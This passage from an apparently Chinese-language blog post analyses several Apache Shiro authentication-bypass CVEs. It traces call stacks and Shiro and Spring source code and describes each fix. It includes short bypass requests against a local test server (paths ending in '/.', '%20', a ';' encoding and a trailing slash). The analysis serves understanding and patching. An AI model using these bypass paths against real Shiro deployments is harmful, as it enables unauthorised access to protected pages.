corresponding filter chain..." ); } return filterChainManager.proxy(originalChain, pathPattern); } } return null ; }
Tomcat 处理部分
调用栈
一路往下一直到 SpringBoot 的
getRequestUri 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 getRequestUri:349, UrlPathHelper (org.springframework.web.util) getPathWithinApplication:265, UrlPathHelper (org.springframework.web.util) getPathWithinServletMapping:216, UrlPathHelper (org.springframework.web.util) getLookupPathForRequest:172, UrlPathHelper (org.springframework.web.util) getHandlerInternal:363, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler) getHandlerInternal:110, RequestMappingInfoHandlerMapping (org.springframework.web.servlet.mvc.method) getHandlerInternal:59, RequestMappingInfoHandlerMapping (org.springframework.web.servlet.mvc.method) getHandler:395, AbstractHandlerMapping (org.springframework.web.servlet.handler) getHandler:1234, DispatcherServlet (org.springframework.web.servlet) doDispatch:1016, DispatcherServlet (org.springframework.web.servlet) doService:943, DispatcherServlet (org.springframework.web.servlet) processRequest:1006, FrameworkServlet (org.springframework.web.servlet) doGet:898, FrameworkServlet (org.springframework.web.servlet) service:634, HttpServlet (javax.servlet.http) service:883, FrameworkServlet (org.springframework.web.servlet) service:741, HttpServlet (javax.servlet.http) internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) doFilter:53, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) executeChain:449, AbstractShiroFilter (org.apache.shiro.web.servlet)
getRequestUri
同上一个 CVE 的处理方式一样,在
SpringBoot 的 getRequestUri
方法中调用的 getRequestURI 方法返回的是原始的值
/admin/%3bcmd ,并未经过 URL 解码。
1 2 3 4 5 6 7 8 public String getRequestUri (HttpServletRequest request) { String uri = (String) request.getAttribute(WebUtils.INCLUDE_REQUEST_URI_ATTRIBUTE); if (uri == null ) { uri = request.getRequestURI(); } return decodeAndCleanUriString(request, uri); }
decodeAndCleanUriString
而后先移除了 ; ,然后才进行 URL
解码,得到 /admin/;cmd ,因此匹配到
/admin/* ,得以绕过。
1 2 3 4 5 6 7 private String decodeAndCleanUriString (HttpServletRequest request, String uri) { uri = removeSemicolonContent(uri); uri = decodeRequestString(request, uri); uri = getSanitizedPath(uri); return uri; }
漏洞修复
Commit
如下,org.apache.shiro.spring.web#ShiroFilterFactoryBean
中增加了 /**
的默认路径配置,使其可以全局匹配进行过滤校验。
默认的 /** 配置对应一个全局的
InvalidRequestFilter ,这个类继承了
AccessControlFilter 。用来过滤特殊字符(分号、反斜线、非
ASCII 码字符),并返回 400 状态码。
CVE-2020-17510
漏洞简介
影响版本:shiro < 1.7.0
漏洞描述:第三种 AntPathMatcher 的绕过方式
测试环境:Shiro 1.6.0 ,SpringBoot
2.5.3
漏洞分析
这个漏洞还是对 AntPathMatcher 的继续绕过,在
CVE-2020-11989 和 CVE-2020-13933
分别尝试了 / 的双重 URL 编码和
; 的 URL
编码绕过,归根到底这种方式还是因为Shiro 与Spring 对URI 处理的差异化导致的。
上一个版本使用了全局的 InvalidRequestFilter 方法过滤
; ,但是字符 . 同样会在
getServletPath 方法中进行标准化处理,
. 绕过
配置如下。
HTTP 请求如下。
1 GET http://127.0.0.1:9090/admin/.
Shiro 处理部分
调用栈
一路往下一直到 getPathWithinApplication 方法。
1 2 3 4 5 getPathWithinApplication:112, WebUtils (org.apache.shiro.web.util) getPathWithinApplication:164, PathMatchingFilterChainResolver (org.apache.shiro.web.filter.mgt) getChain:103, PathMatchingFilterChainResolver (org.apache.shiro.web.filter.mgt) getExecutionChain:415, AbstractShiroFilter (org.apache.shiro.web.servlet) executeChain:448, AbstractShiroFilter (org.apache.shiro.web.servlet)
getPathWithinApplication
getPathWithinApplication 调用了
getServletPath 来获取 URI 。
1 2 3 4 public static String getPathWithinApplication (HttpServletRequest request) { return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request))); }
getServletPath
跟进 getServletPath ,可见是调用了映射处理时候封装的
wrapperPath 成员变量,直接返回
/admin/ ,而后便同 CVE-2020-13933
一样,/admin/ 被处理为
/admin ,无法匹配上 /admin/* ,从而
Shiro 的过滤链失效,然后进入 Tomcat
的默认过滤链。
1 2 3 4 5 @Override public String getServletPath () { return mappingData.wrapperPath.toString(); }
Tomcat 处理部分
调用栈
一路往下一直到 SpringBoot 的
getRequestUri 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 getRequestUri:433, UrlPathHelper (org.springframework.web.util) getPathWithinApplication:355, UrlPathHelper (org.springframework.web.util) getLookupPathForRequest:249, UrlPathHelper (org.springframework.web.util) resolveAndCacheLookupPath:200, UrlPathHelper (org.springframework.web.util) initLookupPath:579, AbstractHandlerMapping (org.springframework.web.servlet.handler) getHandlerInternal:376, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler) getHandlerInternal:125, RequestMappingInfoHandlerMapping (org.springframework.web.servlet.mvc.method) getHandlerInternal:67, RequestMappingInfoHandlerMapping (org.springframework.web.servlet.mvc.method) getHandler:498, AbstractHandlerMapping (org.springframework.web.servlet.handler) getHandler:1258, DispatcherServlet (org.springframework.web.servlet) doDispatch:1040, DispatcherServlet (org.springframework.web.servlet) doService:963, DispatcherServlet (org.springframework.web.servlet) processRequest:1006, FrameworkServlet (org.springframework.web.servlet) doGet:898, FrameworkServlet (org.springframework.web.servlet) service:655, HttpServlet (javax.servlet.http) service:883, FrameworkServlet (org.springframework.web.servlet) service:764, HttpServlet (javax.servlet.http) internalDoFilter:228, ApplicationFilterChain (org.apache.catalina.core) doFilter:163, ApplicationFilterChain (org.apache.catalina.core) doFilter:53, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:190, ApplicationFilterChain (org.apache.catalina.core) doFilter:163, ApplicationFilterChain (org.apache.catalina.core) doFilter:61, ProxiedFilterChain (org.apache.shiro.web.servlet) executeChain:108, AdviceFilter (org.apache.shiro.web.servlet) doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet) doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet) doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet) executeChain:450, AbstractShiroFilter (org.apache.shiro.web.servlet)
getRequestUri
同上一个 CVE 的处理方式一样,在
SpringBoot 的 getRequestUri
方法中调用的 getRequestURI 方法返回的是原始的值
/admin/. 。
1 2 3 4 5 6 7 8 public String getRequestUri (HttpServletRequest request) { String uri = (String) request.getAttribute(WebUtils.INCLUDE_REQUEST_URI_ATTRIBUTE); if (uri == null ) { uri = request.getRequestURI(); } return decodeAndCleanUriString(request, uri); }
decodeAndCleanUriString
URL 解码,依旧是
/admin/. ,因此匹配到
/admin/ *,得以绕过。
1 2 3 4 5 6 7 private String decodeAndCleanUriString (HttpServletRequest request, String uri) { uri = removeSemicolonContent(uri); uri = decodeRequestString(request, uri); uri = getSanitizedPath(uri); return uri; }
漏洞修复
在 Commit
中发现 org.apache.shiro.spring.web 下新增了
ShiroUrlPathHelper 类,属于
UrlPathHelper 的子类,重写了
getPathWithinApplication 和
getPathWithinServletMapping
两个方法,通过相关配置后,SpringBoot 就会使用
Shiro 的
UrlPathHelper ,这样两者判断逻辑一致,就不存在因差异性问题而导致的绕过了。
CVE-2020-17523
漏洞简介
影响版本:Shiro < 1.7.1
漏洞描述:Shiro 1.7.1 之前的版本,在将
Shiro 与 Spring 结合使用时,特制的
HTTP 请求可能会导致身份验证绕过。
测试环境:Shiro 1.7.0 ,SpringBoot
2.5.3
漏洞分析
如 CVE-2020-17510 那样,这个漏洞可以使用空格
%20
进行绕过。这个漏洞的主要原因是代码中,Shiro 会对请求的
URI 进行鉴权操作,校验的函数为
PathMatches ,当 PathMatches 返回
true 时才会进入鉴权。
空格绕过分析
配置如下。
HTTP 请求如下。
1 GET http://127.0.0.1:9090/admin/%20
Shiro 处理部分
调用栈
和 CVE-2020-17510 类似,一路往下一直到
getPathWithinApplication 方法。
1 2 3 4 5 getPathWithinApplication:114, WebUtils (org.apache.shiro.web.util) getPathWithinApplication:164, PathMatchingFilterChainResolver (org.apache.shiro.web.filter.mgt) getChain:103, PathMatchingFilterChainResolver (org.apache.shiro.web.filter.mgt) getExecutionChain:416, AbstractShiroFilter (org.apache.shiro.web.servlet) executeChain:449, AbstractShiroFilter (org.apache.shiro.web.servlet)
getPathWithinApplication
同样是调用 getPathWithinApplication
方法,并且进行标准化处理,直接返回 /admin/[空格] 。
1 2 3 4 public static String getPathWithinApplication (HttpServletRequest request) { return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request))); }
getChain
跟进 pathMatches 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public FilterChain getChain (ServletRequest request, ServletResponse response, FilterChain originalChain) { FilterChainManager filterChainManager = this .getFilterChainManager(); if (!filterChainManager.hasChains()) { return null ; } else { String requestURI = this .getPathWithinApplication(request); if (requestURI != null && !"/" .equals(requestURI) && requestURI.endsWith("/" )) { requestURI = requestURI.substring(0 , requestURI.length() - 1 ); } Iterator var6 = filterChainManager.getChainNames().iterator(); String pathPattern; do { if (!var6.hasNext()) { return null ; } pathPattern = (String)var6.next(); if (pathPattern != null && !"/" .equals(pathPattern) && pathPattern.endsWith("/" )) { pathPattern = pathPattern.substring(0 , pathPattern.length() - 1 ); } } while (!this .pathMatches(pathPattern, requestURI)); if (log.isTraceEnabled()) { log.trace("Matched path pattern [" + pathPattern + "] for requestURI [" + Encode.forHtml(requestURI) + "]. Utilizing corresponding filter chain..." ); } return filterChainManager.proxy(originalChain, pathPattern); } }
tokenizeToStringArray
pathMatches 开始一路转至
doMatch ,进入 tokenizeToStringArray
方法,在 tokenizeToStringArray
中,trimTokens 默认设置为
true ,所以在按 / 分割字符串后经
token.trim() 处理,空格等字符会被清除,返回
admin 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public static String[] tokenizeToStringArray(String str, String delimiters) { return tokenizeToStringArray(str, delimiters, true , true ); } public static String[] tokenizeToStringArray(String str, String delimiters, boolean trimTokens, boolean ignoreEmptyTokens) { if (str == null ) { return null ; } else { StringTokenizer st = new StringTokenizer (str, delimiters); List tokens = new ArrayList (); while (true ) { String token; do { if (!st.hasMoreTokens()) { return toStringArray(tokens); } token = st.nextToken(); if (trimTokens) { token = token.trim(); } } while (ignoreEmptyTokens && token.length() <= 0 ); tokens.add(token); } } }
doMatch
tokenizeToStringArray 返回的是
["admin"] ,数组长度不同于
pattern ,因此循环到第二次比对时退出,匹配失败,然后继续进入
SpringBoot 的过滤链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 protected boolean doMatch (String pattern, String path, boolean fullMatch) { if (path.startsWith(this .pathSeparator) != pattern.startsWith(this .pathSeparator)) { return false ; } String[] pattDirs = StringUtils.tokenizeToStringArray(pattern, this .pathSeparator); String[] pathDirs = StringUtils.tokenizeToStringArray(path, this .pathSeparator); int pattIdxStart = 0 ; int pattIdxEnd = pattDirs.length - 1 ; int pathIdxStart = 0 ; int pathIdxEnd = pathDirs.length - 1 ; while (pattIdxStart <= pattIdxEnd && pathIdxStart <= pathIdxEnd) { String patDir = pattDirs[pattIdxStart]; if ("**" .equals(patDir)) { break ; } if (!matchStrings(patDir, pathDirs[pathIdxStart])) { return false ; } pattIdxStart++; pathIdxStart++; } return true ; }
Tomcat 处理部分
调用栈
和之前的 CVE-2020-17510 类似,一路往下一直到
SpringBoot 的 getRequestUri 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 getRequestUri:345, UrlPathHelper (org.springframework.web.util) getPathWithinApplication:265, UrlPathHelper (org.springframework.web.util) getLookupPathForRequest:169, UrlPathHelper (org.springframework.web.util) getHandlerInternal:363, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler) getHandlerInternal:110, RequestMappingInfoHandlerMapping (org.springframework.web.servlet.mvc.method) getHandlerInternal:59, RequestMappingInfoHandlerMapping (org.springframework.web.servlet.mvc.method) getHandler:395, AbstractHandlerMapping (org.springframework.web.servlet.handler) getHandler:1234, DispatcherServlet (org.springframework.web.servlet) doDispatch:1016, DispatcherServlet (org.springframework.web.servlet) doService:943, DispatcherServlet (org.springframework.web.servlet) processRequest:1006, FrameworkServlet (org.springframework.web.servlet) doGet:898, FrameworkServlet (org.springframework.web.servlet) service:634, HttpServlet (javax.servlet.http) service:883, FrameworkServlet (org.springframework.web.servlet) service:741, HttpServlet (javax.servlet.http) internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) doFilter:53, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) doFilter:61, ProxiedFilterChain (org.apache.shiro.web.servlet) executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
getRequestUri
同上一个 CVE 的处理方式一样,在
SpringBoot 的 getRequestUri
方法中调用的 getRequestURI 方法返回的是原始的值
/admin/%20 ,并未经过 URL 解码。
1 2 3 4 5 6 7 8 public String getRequestUri (HttpServletRequest request) { String uri = (String) request.getAttribute(WebUtils.INCLUDE_REQUEST_URI_ATTRIBUTE); if (uri == null ) { uri = request.getRequestURI(); } return decodeAndCleanUriString(request, uri); }
decodeAndCleanUriString
URL 解码,得到 /admin/[空格] 。
1 2 3 4 5 6 7 private String decodeAndCleanUriString (HttpServletRequest request, String uri) { uri = removeSemicolonContent(uri); uri = decodeRequestString(request, uri); uri = getSanitizedPath(uri); return uri; }
tokenizeToStringArray
接下来同 Shiro 一样,按照 /
分割并调用 trim 方法,差别在默认的
trimTokens 是
false ,因此空格还在,返回了 ["admin", "
"] ,得以匹配到 /admin/ *。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public static String[] tokenizeToStringArray( @Nullable String str, String delimiters, boolean trimTokens, boolean ignoreEmptyTokens) { if (str == null ) { return EMPTY_STRING_ARRAY; } StringTokenizer st = new StringTokenizer (str, delimiters); List<String> tokens = new ArrayList <>(); while (st.hasMoreTokens()) { String token = st.nextToken(); if (trimTokens) { token = token.trim(); } if (!ignoreEmptyTokens || token.length() > 0 ) { tokens.add(token); } } return toStringArray(tokens); }
漏洞修复
在 Commit
中将 tokenizeToStringArray 的
trimTokens 参数置为 false ,这样同
SpringBoot 一致,默认不会调用 trim()
函数处理,因此也不会造成经过处理后的鉴权失败。
CVE-2021-41303
漏洞简介
影响版本:shiro < 1.8.0
漏洞描述:1.8.0 之前的 Apache
Shiro ,在 Spring Boot 中使用 Apache
Shiro 时,特制的 HTTP
请求可能会导致身份验证绕过。用户应该更新到 Apache Shiro
1.8.0 。
测试环境:Shiro 1.7.1 ,SpringBoot
2.5.3
漏洞分析
/ 绕过
配置如下。
权限配置,这个需要这样的特殊配置,因此有些鸡肋。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @Bean ShiroFilterFactoryBean shiroFilterFactoryBean () { ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean (); bean.setSecurityManager(securityManager()); bean.setLoginUrl("/login" ); bean.setSuccessUrl("/index" ); bean.setUnauthorizedUrl("/unauthorizedurl" ); Map<String, String> map = new LinkedHashMap <>(); map.put("/doLogin" , "anon" ); map.put("/admin/*" , "authc" ); map.put("/admin/page" , "anon" ); bean.setFilterChainDefinitionMap(map); return bean; }
HTTP 请求如下。
1 GET http://127.0.0.1:9090/admin/page/
Shiro处理部分
调用栈
和之前的 CVE 类似,一路往下一直到
getPathWithinApplication 方法。
1 2 3 4 5 getPathWithinApplication:114, WebUtils (org.apache.shiro.web.util) getPathWithinApplication:166, PathMatchingFilterChainResolver (org.apache.shiro.web.filter.mgt) getChain:103, PathMatchingFilterChainResolver (org.apache.shiro.web.filter.mgt) getExecutionChain:416, AbstractShiroFilter (org.apache.shiro.web.servlet) executeChain:449, AbstractShiroFilter (org.apache.shiro.web.servlet)
getChain
getPathWithinApplication 返回
/admin/page/ ,removeTrailingSlash 删除
/ 得到
/admin/page ,由于拦截器的顺序,URL会经过
pathMatches 先匹配 /admin/*
拦截规则。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public FilterChain getChain (ServletRequest request, ServletResponse response, FilterChain originalChain) { FilterChainManager filterChainManager = getFilterChainManager(); if (!filterChainManager.hasChains()) { return null ; } final String requestURI = getPathWithinApplication(request); final String requestURINoTrailingSlash = removeTrailingSlash(requestURI); for (String pathPattern : filterChainManager.getChainNames()) { if (pathMatches(pathPattern, requestURI)) { if (log.isTraceEnabled()) { log.trace("Matched path pattern [{}] for requestURI [{}]. " + "Utilizing corresponding filter chain..." , pathPattern, Encode.forHtml(requestURI)); } return filterChainManager.proxy(originalChain, pathPattern); } else { pathPattern = removeTrailingSlash(pathPattern); if (pathMatches(pathPattern, requestURINoTrailingSlash)) { if (log.isTraceEnabled()) { log.trace("Matched path pattern [{}] for requestURI [{}]. " + "Utilizing corresponding filter chain..." , pathPattern, Encode.forHtml(requestURINoTrailingSlash)); } return filterChainManager.proxy(originalChain, requestURINoTrailingSlash); } } } return null ; }
pathMatches
pathMatches 一路调到 doMatch ,在
doMatch 中调用
tokenizeToStringArray ,根据上一个
CVE-2020-17523 的修复已经把 trimToken
默认设置为 false ,通过
tokenizeToStringArray 方法将路径以 /
拆分成数组,最后返回 false 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 protected boolean doMatch (String pattern, String path, boolean fullMatch) { if (path == null || path.startsWith(this .pathSeparator) != pattern.startsWith(this .pathSeparator)) { return false ; } String[] pattDirs = StringUtils.tokenizeToStringArray(pattern, this .pathSeparator, false , true ); String[] pathDirs = StringUtils.tokenizeToStringArray(path, this .pathSeparator, false , true ); int pattIdxStart = 0 ; int pattIdxEnd = pattDirs.length - 1 ; int pathIdxStart = 0 ; int pathIdxEnd = pathDirs.length - 1 ; while (pattIdxStart <= pattIdxEnd && pathIdxStart <= pathIdxEnd) { String patDir = pattDirs[pattIdxStart]; if ("**" .equals(patDir)) { break ; } if (!matchStrings(patDir, pathDirs[pathIdxStart])) { return false ; } pattIdxStart++; pathIdxStart++; } if (pathIdxStart > pathIdxEnd) { if (pattIdxStart > pattIdxEnd) { return (pattern.endsWith(this .pathSeparator) ? path.endsWith(this .pathSeparator) : !path.endsWith(this .pathSeparator)); } } }
getChain
pathMatches 返回 false 得以进入
else 分支,然后 removeTrailingSlash
移除末尾的 / 得到
/admin/page ,继续进入
pathMatches ,这次返回 true ,因此返回
filterChainManager.proxy 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public FilterChain getChain (ServletRequest request, ServletResponse response, FilterChain originalChain) { for (String pathPattern : filterChainManager.getChainNames()) { if (pathMatches(pathPattern, requestURI)) { } else { pathPattern = removeTrailingSlash(pathPattern); if (pathMatches(pathPattern, requestURINoTrailingSlash)) { if (log.isTraceEnabled()) { log.trace("Matched path pattern [{}] for requestURI [{}]. " + "Utilizing corresponding filter chain..." , pathPattern, Encode.forHtml(requestURINoTrailingSlash)); } return filterChainManager.proxy(originalChain, requestURINoTrailingSlash); } } } return null ; }
proxy
1 2 3 4 5 6 7 8 9 public FilterChain proxy (FilterChain original, String chainName) { NamedFilterList configured = getChain(chainName); if (configured == null ) { String msg = "There is no configured chain under the name/key [" + chainName + "]." ; throw new IllegalArgumentException (msg); } return configured.proxy(original); }
此处 chainName 传入为 /admin/page
调用 getChain 方法获取过滤链,返回的是
ShiroConfig 中配置的 map.put("/admin/page",
"anon") ,因此得以绕过。
漏洞修复
Commit
如下,直接将 filterChainManager.proxy 的第二个参数改为
pathPattern ,直接传配置中的 URI
了,修复了此处的 / 的绕过问题。
CVE-2022-32532
Refer
Apache
Shiro Vulnerability Reports
Shiro
历史漏洞分析